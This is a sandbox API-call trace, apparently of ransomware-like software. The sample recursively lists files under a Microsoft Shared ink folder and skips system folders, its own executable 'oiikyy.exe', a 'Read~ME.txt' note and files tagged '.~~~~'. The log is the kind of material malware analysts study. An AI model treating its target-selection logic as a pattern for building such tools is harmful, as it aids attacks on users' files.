	[0067.721] lstrcmpW (lpString1="FlickLearningWizard.exe", lpString2="Read~ME.txt") returned -1
	[0067.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.721] GetCurrentThreadId () returned 0x618
	[0067.721] RtlWakeConditionVariable () returned 0x365f48
	[0067.721] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0067.721] lstrcmpiW (lpString1="fr-FR", lpString2="Windows") returned -1
	[0067.721] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1
	[0067.721] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1
	[0067.721] lstrcmpW (lpString1="fr-FR", lpString2="AppData") returned 1
	[0067.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpSrch="AppData") returned 0x0
	[0067.721] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.721] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpString2="C:\\Windows") returned -1
	[0067.721] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.721] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpString2="C:\\System Volume Information") returned -1
	[0067.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.722] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.722] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.722] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.722] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.722] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.722] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.722] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.722] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.722] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.722] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.722] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.722] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.722] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.723] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.723] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.723] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.723] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.723] GetCurrentThreadId () returned 0x618
	[0067.723] RtlWakeConditionVariable () returned 0x365f48
	[0067.723] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.723] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.723] GetCurrentThreadId () returned 0x618
	[0067.723] RtlWakeConditionVariable () returned 0x365f48
	[0067.723] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0067.723] lstrcmpiW (lpString1="fsdefinitions", lpString2="Windows") returned -1
	[0067.723] lstrcmpW (lpString1="fsdefinitions", lpString2=".") returned 1
	[0067.723] lstrcmpW (lpString1="fsdefinitions", lpString2="..") returned 1
	[0067.723] lstrcmpW (lpString1="fsdefinitions", lpString2="AppData") returned 1
	[0067.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpSrch="AppData") returned 0x0
	[0067.723] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.723] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpString2="C:\\Windows") returned -1
	[0067.723] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.723] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpString2="C:\\System Volume Information") returned -1
	[0067.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.056] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.056] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.056] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.056] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.056] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.056] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.056] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.056] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.056] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.056] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.056] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.056] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.056] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1
	[0068.056] lstrcmpiW (lpString1="auxpad", lpString2="Windows") returned -1
	[0068.056] lstrcmpW (lpString1="auxpad", lpString2=".") returned 1
	[0068.056] lstrcmpW (lpString1="auxpad", lpString2="..") returned 1
	[0068.057] lstrcmpW (lpString1="auxpad", lpString2="AppData") returned 1
	[0068.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpSrch="AppData") returned 0x0
	[0068.057] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.057] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpString2="C:\\Windows") returned -1
	[0068.057] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.057] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpString2="C:\\System Volume Information") returned -1
	[0068.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.060] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.060] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.060] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.060] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.061] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.061] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.061] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.061] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.061] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.061] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.061] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.061] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.061] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1
	[0068.061] lstrcmpiW (lpString1="auxbase.xml", lpString2="Windows") returned -1
	[0068.061] lstrcmpW (lpString1="auxbase.xml", lpString2="oiikyy.exe") returned -1
	[0068.061] StrStrW (lpFirst="auxbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.061] lstrcmpW (lpString1="auxbase.xml", lpString2="Read~ME.txt") returned -1
	[0068.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.061] GetCurrentThreadId () returned 0x618
	[0068.061] RtlWakeConditionVariable () returned 0x365f48
	[0068.061] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0
	[0068.061] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.062] GetCurrentThreadId () returned 0x618
	[0068.062] RtlWakeConditionVariable () returned 0x365f48
	[0068.062] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0068.062] lstrcmpiW (lpString1="auxpad.xml", lpString2="Windows") returned -1
	[0068.062] lstrcmpW (lpString1="auxpad.xml", lpString2="oiikyy.exe") returned -1
	[0068.062] StrStrW (lpFirst="auxpad.xml", lpSrch=".~~~~") returned 0x0
	[0068.062] lstrcmpW (lpString1="auxpad.xml", lpString2="Read~ME.txt") returned -1
	[0068.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.062] GetCurrentThreadId () returned 0x618
	[0068.062] RtlWakeConditionVariable () returned 0x365f48
	[0068.062] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1
	[0068.062] lstrcmpiW (lpString1="keypad", lpString2="Windows") returned -1
	[0068.062] lstrcmpW (lpString1="keypad", lpString2=".") returned 1
	[0068.062] lstrcmpW (lpString1="keypad", lpString2="..") returned 1
	[0068.062] lstrcmpW (lpString1="keypad", lpString2="AppData") returned 1
	[0068.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpSrch="AppData") returned 0x0
	[0068.062] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.062] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpString2="C:\\Windows") returned -1
	[0068.062] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.062] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpString2="C:\\System Volume Information") returned -1
	[0068.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.063] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.063] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.063] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.063] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.063] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.063] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.063] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.063] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.063] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.063] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.063] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.063] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.063] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1
	[0068.063] lstrcmpiW (lpString1="ea.xml", lpString2="Windows") returned -1
	[0068.063] lstrcmpW (lpString1="ea.xml", lpString2="oiikyy.exe") returned -1
	[0068.063] StrStrW (lpFirst="ea.xml", lpSrch=".~~~~") returned 0x0
	[0068.063] lstrcmpW (lpString1="ea.xml", lpString2="Read~ME.txt") returned -1
	[0068.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.063] GetCurrentThreadId () returned 0x618
	[0068.063] RtlWakeConditionVariable () returned 0x365f48
	[0068.063] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1
	[0068.063] lstrcmpiW (lpString1="keypadbase.xml", lpString2="Windows") returned -1
	[0068.063] lstrcmpW (lpString1="keypadbase.xml", lpString2="oiikyy.exe") returned -1
	[0068.063] StrStrW (lpFirst="keypadbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.064] lstrcmpW (lpString1="keypadbase.xml", lpString2="Read~ME.txt") returned -1
	[0068.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.064] GetCurrentThreadId () returned 0x618
	[0068.064] RtlWakeConditionVariable () returned 0x365f48
	[0068.064] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1
	[0068.064] lstrcmpiW (lpString1="kor-kor.xml", lpString2="Windows") returned -1
	[0068.064] lstrcmpW (lpString1="kor-kor.xml", lpString2="oiikyy.exe") returned -1
	[0068.064] StrStrW (lpFirst="kor-kor.xml", lpSrch=".~~~~") returned 0x0
	[0068.064] lstrcmpW (lpString1="kor-kor.xml", lpString2="Read~ME.txt") returned -1
	[0068.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.064] GetCurrentThreadId () returned 0x618
	[0068.064] RtlWakeConditionVariable () returned 0x365f48
	[0068.064] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0
	[0068.064] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.064] GetCurrentThreadId () returned 0x618
	[0068.064] RtlWakeConditionVariable () returned 0x365f48
	[0068.064] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0068.064] lstrcmpiW (lpString1="keypad.xml", lpString2="Windows") returned -1
	[0068.064] lstrcmpW (lpString1="keypad.xml", lpString2="oiikyy.exe") returned -1
	[0068.064] StrStrW (lpFirst="keypad.xml", lpSrch=".~~~~") returned 0x0
	[0068.064] lstrcmpW (lpString1="keypad.xml", lpString2="Read~ME.txt") returned -1
	[0068.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.064] GetCurrentThreadId () returned 0x618
	[0068.064] RtlWakeConditionVariable () returned 0x365f48
	[0068.065] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1
	[0068.065] lstrcmpiW (lpString1="main", lpString2="Windows") returned -1
	[0068.065] lstrcmpW (lpString1="main", lpString2=".") returned 1
	[0068.065] lstrcmpW (lpString1="main", lpString2="..") returned 1
	[0068.065] lstrcmpW (lpString1="main", lpString2="AppData") returned 1
	[0068.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpSrch="AppData") returned 0x0
	[0068.065] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.065] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpString2="C:\\Windows") returned -1
	[0068.065] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.065] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", lpString2="C:\\System Volume Information") returned -1
	[0068.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.073] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.074] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.074] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.074] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
